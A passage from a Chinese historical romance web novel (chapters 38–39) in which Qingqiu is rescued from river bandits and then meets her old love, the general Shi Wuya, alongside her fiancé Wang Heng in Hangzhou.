付高越孤身走至绿柳身边,贼寇一手压着她的颈子,一手持刀指着付高越,见付高越靠了过来,贼寇忙推出绿柳,但却并不想放过她,只见他横刀划过阵阵银光要朝绿柳劈去。 第38章 “早知如此,何必当初。”…… 说时迟那时快, 一支利箭划破长夜倏然而来,付高越眼明手快,将绿柳护在身前, 他左肩迎下贼寇长刀。 绿柳后背抵在付高越胸膛前, 温热的气息侵袭着她, 惊慌之后的唯一一点慰藉。 “二郎君!”绿柳忙转身扶着付高越,好在那刀并未实实在在落下,只是擦身而过, 划破了衣裳。 贼寇中箭倒地,临死前目光仍凶恶地瞪着绿柳。 付高越深吸一口凉气, 背后生寒, 倒不是很疼,他问绿柳:“你可有受伤?难为你跟着清秋一路奔波了。” 绿柳双眸红肿,直摇头, 泣不成声道:“郎君说笑了,多谢郎君救命之恩, 绿柳愿日后当牛做马回报郎君。” 付高越抽回绿柳扶着的手,提起长剑,回首望向箭矢来处, 他眯着眼看那人墨色劲装, 与当年在汴京意气风发的模样如出一辙。 秋风萧瑟,弯月如钩照彻茫茫江水,江水倒映着大片火光。 付高越见贼寇皆已伏法, 便朝他扬声道:“师无涯,将清秋带上来,夜里风冷,恐她受寒复发旧疾。” 话音甫落, 便听有落水声。 付高越闻声抬眼,眼见那人着装并非卫兵,心头隐隐不安,不多想也跟着跳下船,清秋尚在孤舟中飘荡,难免有人会盯上她。 “清秋!” 刚一入水,付高越后背生疼,江水灌进伤口,又疼又冷。 秋日里的夜江水竟这般刺骨,眼见清秋所在空舟尚且无人,付高越心下松了口气,只慢慢朝她游去。 清秋感受着水波荡漾,颤声道:“二哥哥,别过来。” 话落,空荡荡的水面浮出一张可怖的刀疤脸,他粗糙的手里握着匕首,那匕首死死地抵在清秋颈上,随后赵二蹬上小舟,左手紧紧锢着清秋。 赵二没有怜香惜玉的心思,反倒将刀逼得见红,“你这小娘们故意上的我们的船,引他们前来,害得我们劫了空船,人货两空!三弟死在了船上!他手里还攥着你的帕子,毒妇!” 他话音凄凉悲愤,拿着匕首的手止不住地抖动,恨不得下一刻就将她刺死。 清秋无话可说,那匕首离她很近,近得只一开口就会磨进她的脖子。 付高越勾着绳索,紧攥双拳,额头暴起青筋,双眼急得泛起血丝,咬牙道:“你别伤她,你要什么我都给得起!” 赵二仰天大笑,只觉可笑之极,要什么都给得起,好大的口气。 “我要你们给我几十个兄弟陪葬!没有,我要她陪葬,将来在黄泉路上也好给我三弟作伴!”语罢,赵二挥臂要刺杀清秋。 电光火石间,师无涯眼底掠过狠厉之色,迅速勾起箭矢,径直射向赵二,他目力极好,又因常年在军中习武,箭术百步穿杨。 长风破空,箭矢划过江心倒映的明月,一箭封喉,赵二脖子喷涌而出的鲜血洒在清秋脸上,连带着衣裙染上血腥的红痕。 温热的鲜血让清秋堪堪回过神来,清秋抬手摸脖间的刀痕,不深不浅,恰似从前在保神观时的剑伤重合。 “清秋,清秋,别怕二哥哥在。”付高越见赵二已死,忙游过去登上小舟。 “别怕,清秋,都过去了,二哥哥以后会保护好你。” 付高越揽过清秋,打散她惶恐不安的心绪,他们的衣衫尽湿,漫着丝丝寒气,可清秋却觉得兄长的怀里如此温暖,好似一团炙热的炭火,驱散她心头凌冽的寒意。 自她上贼船后不敢有一丝松懈,唯恐行差踏错,自己死了不说,还要害得云露绿柳跟她一起丧命。 这是一场身临其境的噩梦,是一场惶惶不安的噩梦。 若没有付高越和师无涯及时赶到,她将丧命于此,此刻清秋所有紧绷的弦倏然断裂,须臾,清秋攥着付高越的袖口哭出声来。 清秋扑在他怀里哭得像个吃不到糖的小姑娘,付高越轻拍清秋,低声道:“好了,别怕二哥哥在,再不会有事了,莫哭了莫哭了,先上去别再病了。” 不多时,清秋止住了泪,由付高越带着上海舟,师无涯在船舷边冷脸看着清秋,眼底浮起一丝烦躁不耐。 这一幕也让他想起当年保神观一事,两年来,他自认当初之事并无错处,可就在方才赵二挥刀要下手之时,他却恍然发觉并非如此。 倘使当年的那批黑衣人穷途末路,也同赵二这般对她痛下杀手,那他又如何保全她。 “指挥使已清点完毕,这批人当中还有个头不在这儿,死的两个贼首是赵二和陈三,陈三死前还攥着一方绣帕,似是方才那个姑娘的。”身后佩刀卫兵呈上染血的绣帕。 “当真是风流,死了都要握着帕子。副指挥使受伤了,命人随行的军医去诊治。”师无涯眸若寒星,瞥向那方绣帕,“还有方才那位姑娘,顺道也看看,余下的人拷问清楚山寇窝点。” 吩咐完后,师无涯前去审问其他水寇,钱林并刘安随他一道。 —— 十月初六,已至深秋,杭州青砖白瓦各处金桂飘香。 付高越带清秋回杭州旧宅,他本已回京数日,只因官家密旨让师无涯与他共查杭州水寇,此事应当与杭州知府有关,他在杭州蛰伏数日,刚有些眉目正欲与师无涯剿匪,未曾想会遇上清秋。 杭州旧宅仍是当年模样,绿柳收拾出往日的房间,付高越暂住几日,正好守着清秋醒来。 水寇一事已全交师无涯处理,付高越则专心陪着清秋。 时近酉时,落霞漫天,院中斑驳白墙跃上浮光碎影,青梅树枝叶随风摇曳。 清秋昏昏沉沉醒来,瞧见房中陈设,便知已回了杭州旧宅,清秋扶额起身,昨夜她如何回来的,已记不太清。 霞光透过菱花窗撒进房内,清秋起身开门,只见付高越坐在秋千下逗着瞳瞳,绿柳云露在廊下翻着花绳,元智不声不响地禅定。 “二哥哥辛苦你了,听母亲说你在我之后也离开了家,同我讲讲吧。”清秋坐至付高越身边的竹椅,绿柳为她取来披风,顺道瞥了眼付高越,付高越含笑点头。 “想来你也有许多要对我说。”付高越侧目看她,清秋仍是当年的模样,与他两年前离开时并无太大的变化。 当真要说变化,他倒觉得眼前这个妹妹沉静了许多。 两年前清秋一意孤行非要上青山寺修行,而他亦在不久后随广威将军前往渭州,他一去两年只向家中寄过两封信,许多事也模糊不清。 “二哥哥,你身上的伤可严重?”清秋凝眉,忧道。 付高越轻笑一声,道:“不妨事,小伤。” “说说你当年为何要去青山寺修行吧,我同大哥不一样,不会苛责你,我只想问问你心中如何想。”付高越问道。 她为何要去青山寺修行,几乎所有人都将她盘问了个遍。 可做了就是做了,哪有那么多的理由,清秋此刻说不上来到底是为何,但她清楚其中一层一定是因为师无涯。 “二哥哥,不管是为了什么都不重要了,如今说这些已无意义。说些要紧的与你听听,保准让你大吃一惊。”清秋盈盈轻笑。 有什么事能让他吃惊的,一时半会,付高越心中还真没底。 “何事?”付高越眉梢轻扬,只怕清秋使坏唬她。 清秋气定神闲地道,“我要定亲了。” 此话一出,她已料想到付高越是何神情。 “什么!?”付高越倏然起身,讶然万分,似是不信,复又问了一遍,“你说什么?” 清秋慢条斯理地斟茶倒水,顺手递出一盏茶,眸中带笑,柔声道:“就是二哥哥方才听到的话,回了汴京这事就定下来了。” 付高越接过清秋的茶,猛地灌进喉,狐疑地看着她。 从前非师无涯不可的妹妹,就要定亲了? 这这仿佛不太真实,付高越眨眨眼,拧眉道:“清秋你掐掐我,定然是梦没醒。” 清秋见他一脸不可置信的模样,反问道:“二哥哥不替我高兴?怎么反倒这个模样,难不成见不得我好?” 付高越即刻驳道:“胡说,那你说说是哪家的郎君,我可有见过?” “二哥哥应当是见过的,当年大哥的谢师宴上他说与我有一面之缘,我却是没印象了。”清秋思忖片刻道,“是王家郎君。” 王家郎君?付高越略一思索,疑道:“是国公府的那位长公子?” 清秋含羞垂首,脸颊浮起红霞,羞怯怯地道:“正是,已说定了。” 付高越见她这副少女怀春的姿态,不由得信了她的话,可他这个妹妹向来执拗,虽说当年在师无涯身上栽了跟头,但以他对清秋的了解,她恐怕心中仍有师无涯。 清秋真忘了师无涯是好事,付高越自然是替妹妹欢喜的,但清秋心底究竟如何想,付高越难以捉摸。 既然清秋放弃师无涯,付高越便也不再提及往事,眉梢一喜,笑道:“那自然是最好的,想想付家的掌上明珠也将要出嫁了,那王郎君我倒是略有耳闻,应当是个不错的郎君,日后受了委屈,尽管回来找哥哥。” 清秋蹙眉嗔道:“二哥哥你盼着我点好吧,待你回家少不了母亲一顿说。” 夕阳西下,柿子树萧条枝桠在霞光中招摇,浮光跃金,斑驳古朴的白墙被雨水侵蚀生出些许青苔。 二人在院中长谈,清秋得知付高越在军中趣事,她凑近仔细瞧了瞧他,她的哥哥在军营中摸爬滚打的两年,眉宇间倒真有了几分肃杀之气。 想来也是过得艰难,付家从前虽不算什么高门大户,可也从不让子女吃苦。 “对了清秋,钱知府设宴为我和师无涯庆功,你随我一道去罢。”付高越道。 清秋疑道:“请的是你和师无涯,我去作甚,我还会未缓过来就不去了,你我倒不如去西湖边走走,日后怕是再难回杭州了。” 说到此处,清秋将刘氏迫嫁一事告诉他,顺道提了卖宅子的事。 得知此事,付远衡长眉一横,怒摔瓷杯,气道:“好个舅母,欺负到你头上了,连带着数落母亲的头上,我替你去说理。” “你且别去,我与二哥哥说是因信得过二哥哥,倘若二哥哥执意要去,日后我们也没什么话说了。”清秋柳眉轻蹙,哼声道。 付高越气恼,却也明白清秋与他说这些不是为了出气。 韦家和付家若真闹起来,韦氏便再没有依仗。 “罢了,世上之事总是相互制衡,日后外祖母应当也不会再打你的主意了,等回了汴京,将你的婚事早早定下来,这才是最要紧的。”说及清秋的婚事,付高越眉梢一松,漫出些许欣喜。 —— 转眼明月高照,满城灯火,大街小巷挂起灯笼,摊贩搬出竹凳陈列精美果子点心,又有花灯、首饰、团扇,西湖夜景如同温婉的美人,没人不想多看一眼。 付高越也有几年未回杭州,乍见旧日常来的地方不经生出几分惆怅,清秋因前几日已来过只以平常心转了转。 清秋和付高越并肩同行,西湖边花灯莹煌,湖光声色,迎面跑来一双小孩。 付高越护着清秋,只一不小心便可能落到湖里,清秋急急退让,目光落在两垂髫小儿身上,小姑娘追着小郎君,见有人在,小郎君绕着清秋转,小姑娘紧跟着。 “哥哥,抢我的桂花糕。”小姑娘一气之下跌坐在地上,径直哭嚷起来。 小郎君扒在付高越身后,紧紧揪着付高越的袍子,手里还攥着半截桂花糕,他嘟囔道:“才不是,你自己的吃完了还要吃我的,好没理。” 闻言,小姑娘哭得上气不接下气,显然是没理,只一个劲地哭。 清秋被吵得头疼,伸手要去扶她起来,柔声哄道:“不哭了,快起来,我使你些钱自个去买些,莫要缠着哥哥不放了,街上人多你二人走失了叫父母担心。” 身着枣红罗裙的小姑娘,拍开她的手,仍哭得胸脯颤抖,她呵道:“要你管,我的邻家哥哥,与你何干,我阿爹说了,我和他有婚约了,从今以后他的就是我的,吃了他的桂花糕又如何,你们插手作甚。” 清秋微怔,眸光倏然黯淡,小姑娘语气甚笃,像是捍卫领地的小狮子。 “你这小姑娘蛮横无理,家中人是如何教养的。”付高越长眉一横,心生恼意。 话音甫落,一直躲在付高越身后的小郎君慌忙走出来,将手上半块递给她,“别哭了应娘,待我回家阿娘又该骂我了。” 小姑娘见她说话,才缓缓起身,擦干泪,挤出生涩地笑,得意又张扬。 “哥儿,姐儿,你们一不留神就不见了,叫我好找,”着褐衣的一位老妈妈从人堆里挤出来,瞧见清秋和付高越,忙赔笑道:“对不住了,冲撞了二位贵人。” 语罢,老妈妈领着二人离开,清秋回身注视那小姑娘,人潮涌动之中,小郎君半推半就地牵住了小姑娘的手。 月光与澄明灯光交杂,映出一幅市井繁闹图。 “清秋,你看什么?”付高越随她看去,什么也瞧不见,除了来往的各色行人,无甚有趣。 清秋抿唇笑笑,垂眸道:“没什么,方才的小姑娘很有趣,想来家中定然疼爱有加。” “如此说来倒有几分像你幼时那般顽”付高越转过身,略微颔首。 断桥前人头攒动,三两行人散开,瞧见几步之遥的颀长身影,付高越陡然一颤,师无涯竟也在西湖边。 师无涯站在断桥桥头,离他们不远,付高越看不清他是何神情,但从他周身散发出的寒气,想来是兴致不高。 “二哥哥你话怎么说一半?”清秋倏然转身,狐疑问道。 过路人晃眼而过,隔着朦胧月色,清秋一抬眼便瞧见师无涯立在桥边,今夜月光明亮,映照出西湖的败荷残柳,美得凋零萧索。 师无涯朝他二人走来,付高越下意识地护在清秋身前,虽知师无涯并不会对清秋做些什么,但他并不想让师无涯接触清秋。 在渭州军营的那段时日,他钦佩师无涯的刻苦专研,也曾在夜里见他练功习武,渭州本就荒凉颓败,师无涯却每日素餐简食,两年如一日。 付高越是在渭州的第二年才遇上师无涯,付高越自家中去信后,广威将军知其来历,便不再让他只做小兵,一路有意无意的照拂。 他是在广威将军的营帐里见到的师无涯,那时的师无涯已被广威将军重用,从那之后付高越才知师无涯离开汴京后的动向。 但又因退婚一事,二人并未有过多的交流,只在军务上打交道。 付高越不得不承认,师无涯在行军作战方面出类拔萃,纵使如此,他仍每日钻研兵书,如同孜孜不倦地书虫。 军营里他所见到的师无涯,与从前的师无涯判若两人,模样性情未变,但却并不是一个人。 “师将军巧遇。”清秋侧步上前,眼眸带笑。 付高越见清秋并无异样,心下松快,转念一想,清秋已然要定亲,定然是放下了师无涯,否则依她的性子怎么会嫁给别人。 “私下相遇,便不和你客套了。”付高越扬眉笑道,清秋既对师无涯无意,那他自不必处处防着他,只当他是兄弟。 若非有退婚这桩事,他与师无涯在渭州的过命之交,定将他奉为座上宾。可世事无常,什么过命之交,都不及小妹重要。 师无涯眸光深沉,如同无星无月的暗夜,他凝神盯着清秋。 清秋抬眸与他对视,淡然道:“既遇上了,二哥哥和师将军好好叙旧吧,我去飞云楼坐坐,待会回宅子的时候,给二哥哥捎一碗鱼羹如何?。” “宋嫂的鱼羹?”师无涯眸光忽闪,抬眼看向清秋。 闻言,付高越愣了片刻,疑道:“你和师无涯幼时最爱吃的鱼羹。” 清秋柳眉轻蹙,瞥了眼付高越,付高越倏忽噤声,转过身揽着清秋的肩,悄声道:“你若不想见到他,二哥哥帮你打发了。” “打发他作甚,日后抬头不见低头见,未免能打发一辈子?除非罢了。”清秋顿了顿,道:“我问心无愧,二哥哥帮我掩饰倒显得我心虚。” 师无涯看他二人低语密谋,正欲开口,却见清秋回身,盈盈一笑:“这回多谢二哥哥和师将军,那我做东请你二人吃鱼羹。” 师无涯挑眉问道:“付二姑娘这就打发我了?” 清秋眸光一转,道:“倒也不是,师将军也可不去,日后付家定会酬谢师将军。” 付高越周旋道:“师无涯,去还是不去?” 良久,师无涯似想到什么,勾唇轻笑,道:“为何不去,付二姑娘好心邀请,自然是要去的。” 临去飞云楼的那条街正热闹着,街旁长棚下罗列果子糕点,又有时令瓜果做成的果脯,再往前去花灯钗环陈列,摊前围着不少游人,你来我往,喧嚣热闹。 师无涯眸光扫过街旁小玩意,只被那一盏兔儿灯吸引,精巧的白兔,在烛光里那双兔眸如同红珊瑚。 付高越夹在清秋和师无涯当中,见师无涯落后,便先让清秋去飞云楼,清秋颔首,余光无意中瞥见师无涯。 “师无涯你在作甚?”付高越倒退几步,探头到他身前,满腹疑惑。 付高越顺着他的视线落在那盏生动的兔儿灯上,疑道:“你瞧着这作甚?难不成要买一盏放?” 良久,师无涯颔首,付高越眉头一拧,忽觉不妙,忙道:“清秋要定亲了,她如今待你只当是个旧时好友,别做这些有的没的,平白无故招惹她。” 师无涯眸光一暗,勾唇道:“二哥如此说,是怕我对清秋有别的心思,从前没有,如今又怎么会有。” 付高越意味深长地道:“师无涯,我们几人从小一道长大,清秋什么性子,你不清楚?她下定决心的事,十头牛都拉不回来。” “早知如此,何必当初。” 第39章 师无涯pk王恒(不建议跳)…… 月梢枝头, 街边潺潺流水显出一轮弯月,水中荡起层层涟漪,河岸两旁游人摩肩接踵。 “什么当初, 什么如今?”师无涯淡声道, 漆黑的眸子闪过一丝恼意, 又飞速敛起。 付高越对师无涯的性情一知半解,时常闹不清楚他心里想什么,就如今而言, 师无涯想什么其实也不甚重要。 思及此,付高越正色道:“师无涯, 我不与你绕弯子, 你晓得的,清秋好容易说了门亲事,你别搅和进来, 省得她日后——” 后半段话不言而喻,师无涯和他都心知肚明。 清秋如今能坦然待师无涯恐是下了狠心, 付高越生怕有朝一日清秋反水,到那时又是一场劫难,索性先将话和师无涯说明白。 师无涯眼睫低垂, 透下一片阴影, 付高越不知他是何意。 半晌,师无涯唇畔轻弯,笑道:“二哥的话我记下了。”言罢, 师无涯转身前往飞云楼,付高越紧随其后。 —— 清秋临时定下雅间,位置稍偏,支开窗只能瞧见街上游人, 连夜西湖的尾巴都看不着。 约莫一盏茶功夫,清秋才听有上楼的脚步声,圆桌已布满杭州小食,清汤鱼圆、蟹酿橙、西湖醋鱼、栗子烧肉、桂花酒酿圆子 其中西湖醋鱼,清秋本不想上,谁知宋嫂认得她,偏要送一道名菜,清秋苦笑,生生收下。 珍馐满席,可这人是左等不来,右等不来,心头正烦他二人,忽地听门外声起。 “清秋,等久了。”付高越推门而入,师无涯缓步跟在他身后。 雅间简朴整洁,同汴京元丰楼相差甚远,二人先后绕过山水墨画屏风,见清秋倚窗而坐,蛾眉深蹙,竟有几分闺怨之态。 付高越深知是等得久了,叫她不耐烦了,故而讪笑道:“方才街上迷住了眼,一时当误,你莫生气。” 清秋与付高越大闹惯了,径直嗔道:“我有何可生气的,气都消了,菜都凉了。” 见师无涯在付高越身后,清秋复又平声静气地道:“本是想酬谢师将军的,见笑了。” 师无涯余光扫过圆桌,漫不经心地道:“不妨事,付二姑娘一片好意。” 清秋知他惯爱奚落她,这点不论是过去还是如今这点都不曾变,可她如今对师无涯这些有意无意地奚落早已不在意。 她从前喜欢他,因而在意,拼了命的也想去解释一切,她怕他的误解,害怕在他心里落个不好的印象。 而今看来,清秋只觉枉付真心,误了自己,拖累了别人。 “师将军坐罢,临时起意,日后再重谢师将军。”清秋仪态大方,眉眼含笑,请他入座。 付高越自然而然地落座,和从前一样,他隔在两人中间。 师无涯略微颔首,依言就坐,往日在付家他常与清秋同桌用饭,他能觉察清秋的视线总会有意无意地望向他,那一道道目光蕴着灼热的气息,而他对此置之不理,甚至厌恶她对他有着占有欲。 这雅间不大,若有视线落在他身上,他定能立即察觉到,只是并没有那样的视线。 师无涯总觉不自在,索性搁箸不食。闲来无事,他漆黑的眸子悄然一转,停在清秋脖间的绢布,他忽地记起昨夜那惊险的一幕,客船上她险些被赵二刺杀,那道不轻不重的刀伤,总叫他忆起保神观时的场景。 他的目光由最初的漫不经心变得灼热偏执,清秋似有所感,眼波流转,只一抬眼便瞧见师无涯正凝视盯着她,那是她从未见过的眼神,近乎执拗固执的目光,好似一把即将开刃的利剑。 清秋呼吸一滞,抬手捂着脖上的伤,旋即慢慢起身,轻声道:“二哥哥,我去寻宋嫂做些鱼羹带给瞳瞳,你与师将军先用饭,我便不吃了。” 她倩影轻晃,师无涯的目光跟随着她,清秋被他盯得心慌,倒不是怕师无涯,而是师无涯格外反常,她怕师无涯做出些什么事来。 师无涯长眉深蹙,眉间浮起一丝郁色,清秋刚出雅间,师无涯随即起身,沉声道:“二哥,我有些话要单独同清秋说。” 付高越眼疾手快拉住师无涯,紧皱着眉,怒声道:“你吓到她了,师无涯你别去找她,你同她有什么好说的,就是有话说也让我替你传。” 师无涯眸光微闪,挣不开付高越的手,他二人皆是武将出身,若在飞云楼打起来怕是都要遭殃。 “二哥,这不一样。我只问她些闲话,她若心中无我,就不该因我一两句话回心转意,二哥你既信她就不该拦着我,倘若她心里还有我,你让她日后如何在夫家立身。”师无涯心知付高越是担心清秋,可他要问的并非这些。 他只想问她一句,两年前在保神观,她疼不疼。 付高越攥着他的手卸了力,师无涯说得在理,倘若清秋心中仍有师无涯,她迟早要再闹出事来,清秋不是个能藏住事的性子。 思及此,付高越不情愿地松开他的手,只一眨眼,师无涯箭步离开。 —— 明月高悬于黑压压的夜空,街上商贩陆续收摊,飞云楼楼下正对着潺潺小溪,有船家穿过桥洞缓缓驶过,荡开满池波纹。 清秋快步行至楼下,师无涯方才的侵略性的眼神让她心悸,她脖上的伤口,就像是引诱他的源泉。 这个伤与他有什么关系,那样炙热的目光,灼烧着她的肌肤,在那不大不小的雅间十分压抑,令她喘不上气。 临至楼门前,清秋吹了一阵凉风,堪堪喘了口气。 “清秋。” “付二姑娘。” 清秋后背发凉,只觉那灼人的目光就在背后,但她乍一抬眸,眼前如松竹般清正的身影却叫她的心安稳下来。 “常也。” 王恒与观墨猝然停步,飞云楼前的彩灯澄黄柔和,落在王恒天青色的锦袍上印出银线青竹,风雅又极致温柔,而他的目光犹如冬日暖阳,和煦温暖,他漆黑的瞳眸倒映着她单薄纤弱的身影。 “清秋,发生何事了?”王恒箭步上前,衣袍带风,他身上还余些墨香,闻着舒畅安心。 王恒见她着鹅黄齐胸衫裙,碧青色披帛斜披在肩,恰似春日新柳,他的视线逐渐落在她脖间的绢布,渐渐蹙起眉来。 “受伤了?”王恒眼中含忧,心疼地问。 清秋心中紧绷着的弦倏然断裂,见王恒在,清秋眸光忽闪,旋即抿开笑,柔声道:“不妨事的,只是小伤,无性命之忧。” 师无涯见她与那温雅青年相谈甚欢,一时间不知该如何上前,脚下生根,一步也不能动。 那是谁? 师无涯眸光蓦然黯淡,心中腾起焦躁漫长的疑惑,他迫切地想要知道关于那个人的一切,一切,他和清秋的一切。 王恒安抚着清秋,温声道:“日后我定会与你同行,我一路南下已听说水寇一事,见你久久不回京,实在放心不下,便想着来接你。” 语罢,王恒走至她身边,抬手想去抚她伤口,心知不合礼数,又只悬在半空,余光淡淡向后瞥去。 “方才我听有人唤你,这才回了头,却不想在此处遇见你。”王恒不动声色地靠近清秋,命观墨先去寻客栈。 闻言,清秋忙喊住观墨:“不必去,常也若是不嫌弃,不妨住到我在杭州的旧宅,只是已有许久未曾住人,怕要收拾收拾。” 王恒眉眼如画,温雅一笑,道:“不会,倒想看看江南的风景,有你在身边应当会好些。” 听他如此说,清秋羞赧垂首,香腮飞霞。 王恒回身望向师无涯,再温和不过的目光也生出些许敌意,他记得他,在两年前付家谢师宴上,令清秋喜笑颜开的人。 清秋并未对王恒说那是师无涯,甚至都不曾见到二人如何相处,可王恒却已断定,眼前之人就是师无涯。 那是一种原始而强烈的直觉,从师无涯焦灼的目光中,王恒已然确认。 “清秋,方才我听有人唤你,想必是这位郎君。”王恒仔细打量,垂眸看向清秋,眸带疑惑,不解地问:“此人是谁?” 清秋已缓过劲来,再瞧见师无涯时,他眼中的那团炙热的火焰好似被别的情绪所替代。 “常也,你来得正巧,这便是戍守边关的那位少年将军,与我是幼时好友,我回京路上得他所救,略备酒菜招待,不曾竟见到了你。”清秋眸光平和,转而见王恒一路风雨兼程,又道,“可要先回去歇歇?此间事了,师将军我便不相陪了。” 语罢,清秋颔首轻笑,复又眸光盈盈地望着王恒。 师无涯轻扯唇角,这微妙的神情不曾让人发觉,师无涯见他二人有说有笑,早已将方才想问的话抛掷脑后。 清秋欲辞,师无涯偏不顺她的意,于是挑眉一笑,上前道:“付二姑娘,这位是?” “在下王恒,即将与清秋定亲,此来杭州为护送她回汴京,多谢师郎君相助,我与清秋日后定邀师郎君来席间吃酒,聊表谢意。”王恒拱手作揖,声音清和。 清秋本欲自己说,却不想王恒先她一步将话讲明。 良久,师无涯才散漫还礼,他的目光却时不时落在清秋身上,见她从容淡然,眼中别无情绪,无丝毫破绽。 破绽他想看到什么破绽。 师无涯心头萦绕着这个问题,这仿佛上古魔咒,盘桓在他身体的每一处,他盯着清秋的目光再度浑浊炽烈。 “王郎君既然与付二姑娘定亲,可曾晓得以往她是如何性情?为人如何?”说及此,师无涯眼尾轻挑,连带着那颗红痣也染上几分风流俏意。 师无涯这是要当着王恒的面揭她的短,让他晓得她曾经是个什么样的人。 想到此处,清秋悄然凝眉,心生恼意,偏生王恒在场,她无法辩驳,好在她曾和王恒提过,饶是让王恒知道,也没什么。 还不等清秋作答,王恒先上前一步,侧身微挡着清秋,仍笑得和煦。 “劳师郎君费心,清秋为人如何,与师郎君似乎无甚干系,我与清秋情投意合,只此一点便够了。” 闻言,清秋颤颤抬眸,眸光莹莹,心中被激起的恼意逐渐消散,反而淌过阵阵暖意。 “师将军,我是怎样的人,你又很了解吗?”清秋冷然直视师无涯。 飞云楼前的月光照进大堂,街上秋风乍起,穿堂而入,夹杂溪上冷风,吹得檐下灯笼翩翩晃荡。 师无涯微怔,只一刹那,所有呼之欲出的话都哽在喉间。 他和清秋相识十四年,清秋却问他是否了解她。 师无涯眸光忽沉,淡声道:“付二姑娘,此话说得也太过凉薄。” 清秋不欲与他争辩,只怔怔地盯着他,恰是这幕,落在师无涯眼中却像是清秋理亏,不由得让他想起从前在付家,她也是这副模样追在他身后,不厌其烦地喊他。 思及此,师无涯心中腾起一阵松快之意,眼中勾出微不可见的笑意。 “师郎君虽与清秋相识已久,可清秋如何行事,性情如何,都与师郎君无关,纵使清秋恣意娇纵,我也欢喜她对我如此,此中如何,如人饮水冷暖自知,还不需外人说道。”王恒敛眉抬眸,望向师无涯的目光添上些许凌厉。 王恒性情温雅,举手投足皆是世家大族之风,但在与师无涯的对峙中丝毫不落下风。 清秋低眉垂首,唇畔含笑,轻轻扯住王恒的衣袖,道:“常也,你一路风雨兼程,不妨先去歇歇,我带你回宅子里安置,我二哥哥也在此处,不久便要回京。” 王恒侧目望向清秋,温声道:“好。” “师郎君,我与清秋便不奉陪了。”王恒拱手作揖,清秋亦随他一道施礼。 他二人夫唱妇随,仿佛已成佳偶。 师无涯面上笑意僵滞,他负手而立,藏在身后的手使了狠劲,留下触目惊心的红痕,似有鲜血将要涌出。 “二位请便。”师无涯仍面上带笑,瞧不出一丝异样。 闻言,王恒与清秋离开飞云楼,师无涯目送二人离去,见他二人身影消失在人群中才堪堪回过神,松开手。 —— 皎月明明,秋风迎面拂过,吹起西湖中的残枝败荷,映出粼粼波光。 王恒往湖畔边上靠近,与清秋相隔极为恰当,近一步太过亲密,退一步又太过生疏,此站位最为适中。 “常也,你是为我而来,这一路定然辛苦,我只留一封信与你实在失礼。”清秋垂首,歉声道。 王恒眼含笑意,轻笑出声,“我还不曾来过杭州,你又是杭州人氏,日后总会和你回来一趟的,因而我先一步来了。” 这其中自然还有别的原因,王恒鸦黑的眼睫掩下所有别样的波澜,只将那温柔缱绻的目光展露出来。 他把那些真正在意的事和人,都静悄悄地绕开。 王恒将两年前去过付家谢师宴的人都查了一遍,很不巧,其中无人唤“无涯”。 汴京城内世家贵族中唤“无涯”的少之又少,几番筛查竟叫他翻出一位少年将军,只他能与那日清秋所唤之人对上,可他不在谢师宴上。 要查出那人的来历很容易,师无涯在汴京风头无两,总会有风声透出来,藏得再好,也会漏出破绽。 王恒命观墨守在西大街周遭,时常与付家小厮女使来往,不过多日便拼凑出师无涯的来历。 在观墨套出师无涯身份之前,王恒心中已有七八分笃定那师无涯就是清秋口中曾喜欢过的人,只是当真听到时,王恒只觉自己还是失算了。 师无涯与清秋在杭州有旧情,又是十二年的青梅竹马,清秋喜欢他,这不为过,可师无涯心中是否喜欢清秋这才是最要紧的。 王恒自幼熟读诗书,自认克己复礼,文雅端方,并无善妒之心,可听到师无涯与清秋相识十二年,又曾有过婚约,那一瞬他不小心摔了手中的建窑茶盏。 恰此时,他得知官家命师无涯去杭州剿水寇,而清秋又在杭州,他称病告假,一路南下来到杭州,果真见到了师无涯。 王恒命观墨取出一碟糕点,二人就近挑了个茶楼闲坐。 “清秋,我此来杭州尤其仓促,见谅。”王恒斟茶,白玉一般的手指递出一盏茶,久久停在清秋面前。 清秋知他沾不得狸奴,凝眉道:“我今日抱过瞳瞳,会严重的,常也你放下吧。” 闻言,王恒含笑放下茶盏,“我已让空绝师父去寻根治的法子了,日后定能再抱一抱瞳瞳,何况它与你一样可爱。” 清秋垂眸低笑,指尖绕紧袖口的杏花。 “你来的正好,我二哥哥也在杭州,他还未见过你,待到回京,定亲的事妥当了总是要见的,不如早早的见了。”清秋抬眸望向他。 四目相对之时,王恒双耳飞红,分明只是再平常不过的对视,此刻却像是在触摸世上最珍贵之物,怕她碎裂,怕她化成一滩水。 清秋微微仰头,在王恒眼中见到了万顷银河,盛满柔情。 目光如勾连的火绳,一触即燃,清秋慌忙别开眼,视线一时间找不着落定点,复又眺望远处断桥残留,这才稍稍静下来。 “清秋,你当真愿意嫁给我?”王恒顺着她的目光停留在断桥边的两道英挺的身影。 清秋瞧着断桥边模糊的人潮,只将视线落在亮晃晃的花灯上,几盏形状各异的花灯倒叫清秋想起七夕时与王恒买的鱼灯。 王恒的话,清秋未听清,复又问他说了什么,王恒却换了句话。 “清秋,杭州的一切你都喜欢吗?”王恒余光瞥向她,注视着她微妙的神情变化。 清秋道:“我自小在杭州长大,杭州风土养人,我是喜欢的。常也初次到杭州,我本该尽一尽地主之谊,可我也好多年不回杭州了,怕是不能够了。” 王恒垂下眼睫,轻声道:“虽是初次到杭州,但却比汴京自在些,西湖淡妆,佳人在侧,我喜欢杭州的一切。” “杭州的一切?”清秋咀嚼着王恒的后半句话。 王恒初次来杭州,在杭州连一日都不曾呆过,何来喜欢杭州的一切。清秋略一思索,只消片刻便明白过来。 这是一句情话。 王恒所见的杭州,除却西湖之外,就是她了。 清秋含羞垂眼,茶楼烛光幡然起跃,显出少女灵动的双眼,只见她远山黛眉,朱唇玉面,好似月中玉兔。 王恒在她的眉眼中失神,清秋眸光流转,乍一见王恒呆头鹅的模样,竟觉有趣,掩唇轻笑。 “常也,我第一次见你这样,不像你平日里收敛的那样。”清秋笑道。 王恒和煦的目光攀上一丝别样的情绪,亦笑得眉眼弯弯,“平日里我在你眼中是什么样?” 此言一出,清秋在脑海中搜寻着与王恒有关的画面,王恒在她眼前总持有风度,时近时远,有几分捉摸不透的意味。 青山寺的两年,她与王恒虽说时常见面,可也很少交心,乍一回想清秋倒说不出他平日里是什么样。 清秋凝眉,思忖道:“大抵是温雅些,稳重些,今日要呆些,倒有几分不像你了。” 语罢,王恒眸光清亮,痴痴一笑,道:“你所见既是我,日后我与你所想有落差,你当如何?” 清秋心下疑惑,她瞧着眼前王恒这般模样,倒不像会有落差。 月华似水,涓涓流淌,洒在西湖水面,游人多数已归家,只余收摊的小贩。 